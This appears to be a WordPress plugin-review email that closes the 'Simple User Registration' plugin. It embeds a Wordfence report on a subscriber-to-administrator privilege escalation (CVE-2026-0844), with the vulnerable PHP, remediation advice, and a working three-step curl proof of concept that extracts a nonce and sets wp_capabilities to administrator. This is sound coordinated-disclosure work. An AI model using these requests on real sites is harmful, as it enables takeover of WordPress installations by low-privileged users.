Actions Required:
To reinstate your plugin, please address the following:
Vulnerability Remediation:
Thoroughly review this email and the report included below.
Implement necessary code modifications to eliminate the vulnerability.
Address any additional concerns identified.
Perform a Security Review:
Conduct a comprehensive security and WordPress coding standards review of your plugin's codebase.
Utilize the Plugin Check Plugin as a tool to identify and rectify any issues: https://wordpress.org/plugins/plugin-check/
We expect all issues detected by Plugin Check Plugin will be resolved before you resubmit the plugin for review.
Plugin Update:
Increment your plugin's version number.
Update the "Tested up to" version within your readme.txt file to reflect the latest WordPress release.
Submit the Update:
Commit the updated code to your plugin's SVN repository.
Please review our documentation on how to use SVN - https://developer.wordpress.org/plugins/wordpress-org/how-to-use-subversion/#best-practices - as improper SVN usage can delay our reviews.
Reply to this email to request a re-review.

Important Considerations:
Thoroughness: A comprehensive review of your entire plugin will be conducted upon resubmission. Any additional security or guideline issues must be resolved before your plugin can be re-listed.
Timeframe: Your plugin will be unavailable for download until a patch has been reviewed and approved. Currently the reason for the closure is not disclosed for your user’s safety, however if no action is taken in 60 days the directory listing will indicate its closure due to a security concern.
Support: If you require clarification, encounter challenges or need more time, please reply to this email. We prefer to see you communicate with us and know you are aware of the issue.

Vulnerability Report

Vulnerability Title: Simple User Registration <= 6.7 - Authenticated (Subscriber+) Privilege Escalation via profile_save_field
CVE ID: CVE-2026-0844
CVSS Severity Score: 8.8 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Organization: Wordfence
Vulnerability Researcher(s): johska
Software Link(s): https://wordpress.org/plugins/wp-registration

Description
The Simple User Registration plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 6.7 due to insufficient restriction on the 'profile_save_field' function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role by supplying the 'wp_capabilities' parameter during a profile update.

Proof of Concept
The `profile_save_field` AJAX action allows any authenticated user to update the profile data of *any* other user (including Administrators) by manipulating the `current_user` POST parameter. Furthermore, it allows updating arbitrary user metadata, including `wp_capabilities`, leading to immediate privilege escalation to Administrator.

---

# Affected Code

- **File:** `inc/classes/class.profile.php`
- **Function:** `profile_save_field` (Lines 401-425)
- **Vulnerable Logic:** The code blindly accepts `$_POST['current_user']` to set the user object context without verifying if the logged-in user is authorized to edit that target user.

https://plugins.trac.wordpress.org/browser/wp-registration/trunk/inc/classes/class.profile.php#L401

```php
401 function profile_save_field(){
402
403 // check nonce for scurity
404 if( ! wpr_is_nonce_clear( 'wpr_profile_updating') )
405 die('sorry for security reason');
406
407 if( ! isset($_POST['wpr']) ) return null;
408
409 // SECURITY FIX: Sanitize and validate user_id
410 $user_id = absint($_POST['current_user']);
411 if (!$user_id) {
412 wp_send_json(array('status' => 'error', 'message' => __('Invalid user ID', 'wpr')));
413 }
414 $this->set_user_data( $user_id );
415
416 $profile_data = $_POST['wpr'];
417 $this->user->update_profile( $profile_data );
418
419 $success_msg = __('Profile update successfuly', 'wpr');
420 $response = array( 'user_id'=>$user_id,
421 'status'=>'success',
422 'message'=>$success_msg,
423 );
424 wp_send_json( $response );
425 }
```

- **File:** `inc/classes/class.user.php`
- **Function:** `update_profile` (Lines 305-332)
- **Vulnerable Logic:** Iterates over arbitrary input data and updates user meta without whitelisting allowed keys.

https://plugins.trac.wordpress.org/browser/wp-registration/trunk/inc/classes/class.user.php#L305

```php
305 function update_profile( $profile_data ) {
306
307 // Adding extra fields in meta
308 $core_fields = array('ID' => $this->id() );
309
310 foreach( $profile_data as $type => $fields ) {
311
312 // Skipp username and email fields
313 // if( $type == 'wp_field' ) continue;
314
315 foreach( $fields as $key => $value ) {
316 // wpr_pa($key);
317
318 if( in_array( $key, wpr_get_wp_user_core_fields()) ) {
319
320 $core_fields[$key] = $value;
321 }
322
323 $value = apply_filters('wpr_profile_meta_value', $value, $key, $this);
324 $this->set_meta( $key, $value );
325 }
326
327
328 // Updating wp user core fields
329 }
330
331 wp_update_user($core_fields);
332 }
```

---

# Steps to Reproduce (PoC)

## Prerequisites

- The plugin must be active.
- The attacker must be logged in as a Subscriber (or any other role).
- The attacker needs a valid nonce for the `wpr_profile_updating` action (available on their own profile page).

## Setup

Install and activate the plugin - no configuration required.

## Exploit

Log in as a **Subscriber user** and execute the following steps.

All commands are authenticated with the Subscriber session cookie `[SUBSCRIBER_SESSION_COOKIE]` .

### **Note on getting the nonce:**

On a default installation, the "Edit Profile" tab (which contains the required `wpr_nonce`) is **hidden** until a Registration Form is assigned to the user. An attacker can force this assignment themselves using the `without_field_user_form_submit` action, which lacks authorization checks.

### **1. Force-enable the "Edit Profile" tab:**

```bash
curl http://192.168.1.102:8080/wp-admin/admin-ajax.php \
-H "[SUBSCRIBER_SESSION_COOKIE]" \
-d "action=without_field_user_form_submit" \
-d "wpr_form_type=1" \
-d "wpr_get_users_by_role=subscriber"
```

**Response:** `{"status":"success","message":"0 users updated","total_users":0}`

### **2. Extract the Nonce:**

After running the command above, the nonce will be visible in the source of `/account/` or `/profile/`.

```bash
curl -sL "http://192.168.1.102:8080/account/" \
-H "[SUBSCRIBER_SESSION_COOKIE]" \
| grep 'name="wpr_nonce"' | sed -n 's/.*name="wpr_nonce" value="\([^"]*\)".*/\1/p'
```

**Response:** `1848be74c4`

### **3. Escalate Privileges:**

Execute the following command. Replace `[NONCE]`(e.g., `1848be74c4`) with the retrieved value and `[YOUR_USER_ID]` with your user ID (e.g., `2`):

```bash
curl "http://192.168.1.102:8080/wp-admin/admin-ajax.php" \
-H "[SUBSCRIBER_SESSION_COOKIE] " \
-d "action=profile_save_field" \
-d "wpr_nonce=[NONCE]" \
-d "current_user=[YOUR_USER_ID]" \
-d "wpr[custom][wp_capabilities][administrator]=1"
```

**Response:** `{"user_id":2,"status":"success","message":"Profile update successfuly"}`

The target user (ID `2` in this example) becomes an Administrator.
Alternatively, targeting `current_user=1` **allows modifying the existing Admin's details**.

Any Known Public References
https://plugins.trac.wordpress.org/browser/wp-registration/tags/6.7/inc/classes/class.profile.php#L401
https://plugins.trac.wordpress.org/browser/wp-registration/tags/6.7/inc/classes/class.user.php#L305

Recommended Solution
the $key value must be limited so that only predefined and secure profile fields can be updated in the WPR_User::set_meta() function, now:
update_user_meta( $this->id(), $key, $value );

Please note that wp_capabilities is not static, but based on wpdb! So for example:
$wpdb->prefix . 'capabilities'

Please also improve the WPR_Register::set_meta() function based on this.

This is not a full review of your plugin. Once you've replied, we will re-scan your entire plugin, looking for both security issues and guideline violations. Should we find other issues on a re-review, you will be required to fix those before we reopen your plugin.

We understand that security issues can be surprising and require extra attention. Our priority is to ensure the safety and security of WordPress users and we look forward to you providing the patch for the site owners. Thank you for your cooperation in resolving this matter promptly.